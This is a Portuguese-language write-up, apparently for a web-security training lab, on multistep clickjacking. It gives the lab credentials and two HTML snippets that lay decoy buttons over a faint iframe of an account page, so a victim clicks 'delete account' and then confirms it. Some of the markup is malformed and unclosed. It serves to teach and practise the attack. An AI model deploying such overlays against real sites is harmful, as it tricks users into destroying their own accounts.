> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/multistep-clickjacking.md).

# Clickjacking em Múltiplas Etapas

### Clickjacking em várias etapas

**Objetivo:** enganar o usuário para que ele clique no botão Excluir conta e depois confirme a caixa de diálogo de confirmação clicando sucessivamente em duas iscas: **"Clique em mim primeiro"** depois **"Clique em mim em seguida"**.

**Credenciais fornecidas para acessar a conta (laboratório):** `wiener:peter`

* A página contém um **remover conta** botão seguido por uma caixa de confirmação ("Tem certeza?") — então você precisa acionar duas ações sucessivas.

<figure><img src="/files/eac4ad61f5cc33a06ee847a9fcb1d1f661387ef5" alt=""><figcaption></figcaption></figure>

* A ideia é sobrepor duas áreas clicáveis (iscas div) sobre uma `iframe` apontando para a `/my-account` página: o primeiro alvo é o **Excluir conta** botão, o segundo alvo é o botão de confirmação que então aparece.

<figure><img src="/files/98c5ead3b9817d66102449ca0e55a616a77f1ec3" alt="" width="563"><figcaption></figcaption></figure>

* Tornamos o iframe semitransparente (ou com baixa opacidade) para que o usuário veja a isca, mas na verdade clique nos elementos da página alvo.

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 500px;
left: 200px;
}

</style>

<div class="first" Click me first</div>
<div class="next" Click me next</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/b829796bf339df14706db3bbe9fad0095e70a5db" alt="" width="429"><figcaption></figcaption></figure>

O código abaixo posiciona o iframe, coloca duas iscas e mostra a segunda isca somente após clicar na primeira. `iframe` aponta para a `/my-account` URL do laboratório

```html
<style>
iframe{
height: 700px;
opacity: 0.1;
}
.first{
position: absolute;
top: 500px;
left: 100px;
}
.next{
position: absolute;
top: 310px;
left: 110px;
}

</style>

<div class="first"> Clique em mim primeiro</div>
<div class="next">Clique em mim em seguida</div>
<iframe src="https://0a23007b030f8bc780c8179e00450062.web-security-academy.net/my-account"</iframe>
```

<figure><img src="/files/b83e0aab5cc6478e7acc318a8d39bb42512fab32" alt="" width="337"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/multistep-clickjacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
